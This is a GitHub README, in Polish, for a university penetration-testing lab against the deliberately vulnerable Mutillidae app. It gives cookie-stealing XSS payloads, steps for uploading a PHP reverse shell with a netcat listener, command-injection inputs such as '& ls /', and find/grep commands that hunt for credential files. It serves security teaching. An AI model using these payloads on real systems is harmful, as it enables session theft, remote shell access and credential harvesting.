Skip to content

How penetration testing works. Reporting. Simple labs on Mutillidae website provided by webpwnized.

Notifications You must be signed in to change notification settings

Kollbii/mutillidae-lab-bawim

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Zagadnienia prezentowane przed nami

  1. SQLI
  2. CSRF
  3. Server Side Template Injection
  4. SSRF

ASVS 4

Link do GitHub'a: github.com/OWASP/ASVS

Laboratoria

Spis treści

  1. Zadanie 0: Adding user, login, password policies. ASVS.
  2. Zadanie 1: Session Hijacking
  3. Zadanie 2: Cross Site Scripting (XSS)
  4. Zadanie 3: Reverse Shell
  5. Zadanie 4: Dodatkowe

Instalacja maszyny i przygotowanie środowiska

Opcja 1 (Zalecana)

Wersja: 2.8.59

git clone https://github.com/webpwnized/mutillidae-docker
cd mutillidae-docker
docker-compose up

Jeśli wystąpią problemy:

  1. Doinstaluj docker-compose sudo apt install docker-compose.
  2. Dodaj siebie do grupy docker. sudo usermod -aG docker $USER.
  3. Opcjonalnie zrestartuj serwis sudo service docker restart.
  4. Uruchom dockera z pozycji roota sudo docker-compose up.
  5. Jeśli pojawia się błąd, że adres jest już "zbindowany" sudo service apache2 stop

Opcja 2 (Tylko jeśli nie działa pierwsza)

Wersja: 2.6.52

  1. docker pull bltsec/mutillidae-docker
  2. docker run -d -p 80:80 -p 443:443 --name owasp17 bltsec/mutillidae-docker
  3. Przejdź do localhost/mutillidae

Kod źródłowy każdej strony możesz podejrzeć na http://127.0.0.1/index.php?page=source-viewer.php

BURP SUITE

Podczas pracy przyda się narzędzie BURP SUITE. Zainstaluj je jeśli jest taka potrzeba.

Zadanie 0 Przykład pracy z ASVS

  1. Sprawdź czy możesz stworzyć użytkownika, którego hasło posiada mniej niż 12 znaków.
    Zapisz numer ASVS, oceń poziom ryzyka (Możesz zrobić to sam lub skorzystać z przykładowego rozwiązania zaprezentowanego w prezentacji). Na koniec zasugeruj rozwiązanie problemu.
  2. Spróbuj zmienić hasło użytkownika. Sprawdź czy wymagana jest znajomość starego hasła. Zapisz numer ASVS, oceń poziom ryzyka oraz zasugeruj rozwiązanie problemu.
  3. Wykorzystaj tabelę niżej i spróbuj zidentyfikować pozostałe (o ile istnieją) wady.
  4. Wycinek tabeli do pomocy
# Description CWE NIST
V2.1.1 Verify that user set passwords are at least 12 characters in length (after multiple spaces are combined). (C6) 521 5.1.1.2
V2.1.2 Verify that passwords of at least 64 characters are permitted, and that passwords of more than 128 characters are denied. (C6) 521 5.1.1.2
V2.1.3 Verify that password truncation is not performed. However, consecutive multiple spaces may be replaced by a single space. (C6) 521 5.1.1.2
V2.1.4 Verify that any printable Unicode character, including language neutral characters such as spaces and Emojis are permitted in passwords. 521 5.1.1.2
V2.1.5 Verify users can change their password. 620 5.1.1.2
V2.1.6 Verify that password change functionality requires the user's current and new password. 620 5.1.1.2

Przypomnienie: Prowadź tabelę w której będziesz wszystko zapisywał.

Zadanie 1 - Session Hijacking

  1. Wykorzystując wiedzę o pliku robots.txt odszukaj lokalizację na stronie gdzie mogą być przechowane hasła użytkowników.
    Podpowiedź 1 (rozwiń) 1. W adresie url http://localhost/index.php?page=robots-txt.php podmień zawartość page na robots.txt. (http://localhost/index.php?page=robots.txt)
    Podpowiedź 2 (rozwiń) 1. Przekieruj się na adres http://localhost/passwords/
  2. Zapisz dane logowania dowolnego użytkownika.
  3. Oczywiście sposobów wydobycia ciasteczka sesji jest wiele (prezentacja). Stworzymy prosty scenariusz w celu którego wykorzystamy narzędzie BURP SUITE. Zaloguj się na wybranego użytkownika. Włącz przechwytywnie zapytania. Odśwież stronę.
  4. Zapisz ciasteczko sesji w osobnym pliku. Cookie section
  5. Wyłącz przechwytywanie. Wyloguj się z aktualnego użytkownika i zaloguj się na innego lub stwórz własne konto.
  6. Włącz przechwytywanie. Odśwież stronę i przejdź do BURP SUITE.
  7. Podmień wartość Cookie na skopiowaną wartość wcześniejszego użytkownika. Naciśnij Forward.
  8. Właśnie zostałeś uwierzytelniony jako drugi użytkownik. Jednak po przejściu na dowolną inną stronę otrzymujemy zresetowane ciasteczko użytkownika, na którego się logowaliśmy. Jeśli chcemy używać danej sesji podczas wykonywania ataków należy użyć opcji Process cookies in redirections.
  9. Stwórz tabelę oceny zagrożenia.

Zadanie 2 - Cross Site Scripting (XSS)

W tej częsci postaramy się wykraść od użytkowników przeglądających blog ich ciasteczka sesji, żeby móc wykorzystać je tak jak w labie wcześniejszym.

Persistent

  1. Zaloguj się na dowolnego użytkownika i przejdź na stronę http://localhost/index.php?page=view-someones-blog.php.
    Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> Persistent (Second order) -> Add to your blog.
  2. Dla sprawdzenia czy podatność istnieje wykorzystamy najprostszy payload. Wpisz w polu wpisywania: <script>alert(document.cookie)</script>.
    Wyślij treść bloga na serwer. Od razu pojawia się alert w którym są informacje z aktualnej sesji. Podatność istnieje - wykorzystajmy ją.
  3. Do zaprezentowania ideii wstrzykniemy kod, który zaproponuje odwiedzającemu zapisanie pewnego pliku. Jego zawartością będzie ciasteczko z sesją.
  4. Na zalogowanym użytkowniku proszę wprowadzić zapis o treści:
    var a = document.createElement("a");
    a.href = window.URL.createObjectURL(new Blob([WHAT_TO_EXTRACT?], {type: "text/plain"}));
    a.download="DONT_DELETE_THIS_IMPORTANT.txt";
    a.click();
  5. Zauważ, że treścią która zostanie wpisana do pliku *.txt będzie wartość WHAT_TO_EXTRACT czy aby na pewno jest to poprawna wartość? ;)
    Podpowiedź (rozwiń) 1. Podmień zawartość WHAT_TO_EXTRACT na document.cookie.

Pamiętaj, żeby owinąć całość odpowiednim tagiem!

  1. Po zapisaniu bloga. Wyloguj się z aktualnego użytkownika i zaloguj na innego. Wejdź na stronę http://localhost/index.php?page=view-someones-blog.php.
    Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> Persistent (Second order) -> View someone's blog.
  2. Wyszukaj blogi wcześniejszego użytkownika.
  3. And voilà! Downloading file with cookie sesion Oczywiście prawdopodobieństwo, że ktoś zostawi taki plik na publicznym komputerze w firmie po pobraniu jest małe - jednak ciągle niezerowe...
  4. Zapisz zgodnie z wytycznymi wpis w tabeli oceny ryzyka. Weź pod uwagę, że każda strona wyciągająca zainfekowany rekord z bazy danych wywoła znajdujący się tam skrypt.

DOM-based XSS

  1. Wejdź na stronę http://127.0.0.1/index.php?page=html5-storage.php.
    Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> DOM-Based -> HTML5-web-storage.
  2. Zapoznaj się z poniższym fragmentem kodu, który jest wywoływany gdy wpisywany jest klucz i wartość na stronie.
var setMessage = function(/* String */ pMessage){
		var lMessageSpan = document.getElementById("idAddItemMessageSpan");
		lMessageSpan.innerHTML = pMessage;
		lMessageSpan.setAttribute("class","success-message");
	};// end function setMessage

Podpowiedź: Zobacz jak działa metoda innerHTML.

  1. Spróbuj wpisać payload z alertem w javascript <script>alert(1)</script>. Czy wpisany kod działa?
  2. Wykorzystamy inny element DOM np. znacznik <img>. Proszę wpisać w polu wartość <img src=nothing onerror="alert(document.cookie)"/>".
  3. Od razu po wysłaniu wykonuje się kod z JS, który był ukryty wewnątrz tagu <img>.
  4. Uzupełnij tabelę o nową podatność. Opisz ją.

Reflected

Działa tak samo jak Persistent tylko jednorazowo na daną stronę. (prezentacja) Jak myślisz dlaczego przeglądarka dopuszcza do wykonywania takiego kodu? Zwiększ poziom bezpieczeństwa na poziom 5. Spróbuj wpisać prosty skrypt.

Zadanie 3 - Reverse shell

Sprawdzanie tego co widać to nie wszystko. Jednym z ciekawszych elementów, które można sprawdzać to połączenia na niefiltrowanych portach, brak walidacji w przesyłaniu plików i tym podobne.

Sposób 1

  1. Udaj się na stronę http://localhost/index.php?page=upload-file.php

  2. Przygotuj skrypt w PHP (plik znajduje się w tym repozytorium pod nazwą rev.php) i zapisz w lokalnym folderze. Podmień adres IP na swój i zapamiętaj/zmień port.

  3. W pierwszym terminalu ustaw nasłuchiwanie na wybranym porcie np. nc -lvnp 1337. Adres IP ustaw na swój. (Żeby sprawdzić swoje ip wpisz w terminalu ipconfig -a)

  4. Zapisz skrypt i wrzuć go na stronę do upload'u.

  5. Pojawi się informacja w jakiej lokalizacji został umieszczony. Upload reverse shell

  6. Nawiguj do http://localhost/index.php?page=/tmp/<nazwa_twojego_pliku>.php

  7. W momencie wejścia na stronę wywołuje się skrypt a w terminalu powinniśmy mieć aktywne połączenie. Reverse Shell 1

  8. Posiadając dostęp do wewnętrznej struktury katalogów spróbuj znaleźć hasło do bazy danych.

    Podpowiedź 1 (rozwiń) 1. Wyszukaj wszytkie pliki o rozszerzeniu "\*.php" find / -name "*.php".
    Podpowiedź 2 (rozwiń) 1. Wykorzystaj narzędzie do wyszukiwania wzorca tekstu grep -i "password" lub grep "=".
    Podpowiedź 3 (rozwiń) 1. Ostateczne polecenie może wyglądać w ten sposób find / -name "*.php" | xargs grep -i "password" | grep "=".
  9. W całym ciągu tekstu interesuje nas ten urywek

    /var/www/mutillidae/classes/YouTubeVideoHandler.php:	public $HowtoResetRootPasswordinMySQLMariaDB = 143;
    /var/www/mutillidae/classes/MySQLHandler.php:	static public $mMySQLDatabasePassword = DB_PASSWORD;
    /var/www/mutillidae/classes/MySQLHandler.php:	static public $MUTILLIDAE_DBV1_PASSWORD = "";
    /var/www/mutillidae/classes/MySQLHandler.php:	static public $MUTILLIDAE_DBV2_PASSWORD = "mutillidae";
    /var/www/mutillidae/classes/MySQLHandler.php:	static public $SAMURAI_WTF_PASSWORD = "samurai";
    /var/www/mutillidae/classes/MySQLHandler.php:	        $this->mMySQLConnection = new mysqli($pHOSTNAME,$pUSERNAME, $pPASSWORD, NULL, $pPORT);
    
    Hasło do bazy to [...] 1. samurai.
  10. Weź pod uwagę, że strona jest cały czas w stanie "zawieszenia".

Zadanie 4 - Dodatkowe

Ta część laboratorium jest przeznaczona na własny rekonesans. Wcześniejsze przykłady były podane w wąskim zakresie dlatego teraz pora na rozwinięcie skrzydeł. Przetestuj aplikację we własnym zakresie - z tym co wiesz lub chcesz poznać. Propozycja: skorzystaj z podanych list i testuj wszystko po kolei.

Jeśli testując elementy aplikacji uznasz atak siłowy za potrzebny to skorzystaj z payload'ów z tego repozytorium: github.com/swisskyrepo/PayloadsAllTheThings

  1. Niektóre podatności (np. XSS) występują na innych stronach. Postaraj się je odszukać.
  2. Znajdź inne podatności np. na stronie logowania (SQL injection)
  3. Na stronie http://127.0.0.1/index.php?page=dns-lookup.php możesz podejrzeć strukturę katalogów wykorzystując polecenie ls. Sprawdź czym musisz je poprzedzić, żeby zadziałało.
Podpowiedź(rozwiń) 1. Wpisz & ls /. Możesz dokładnie podejrzeć strukturę plików. Możesz też wpisać & whoami lub & idw celu sprawdzenia jakim użytkownikiem (oraz z jakimi uprawnieniami) jesteś.

Injection

  1. Na tej samej stronie spróbuj znaleźć hasło do bazy danych. Pierwsza opcja to rekonesans (Nie trzeba głęboko szukać).
Podpowiedź do drugiego sposobu (rozwiń) &find /var/www/mutillidae -name "*.php" | xargs egrep -i "password" | grep "="
  1. I wszystko co inne postaraj się oceniać w tabeli oceny zagrożeń.

Źrodła

  1. https://www.computersecuritystudent.com/SECURITY_TOOLS/MUTILLIDAE/MUTILLIDAE_2511/lesson10/index.html
  2. https://github.com/Wh1ter0sEo4/reverse_shell_php/blob/main/reverse_shell.php

About

How penetration testing works. Reporting. Simple labs on Mutillidae website provided by webpwnized.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published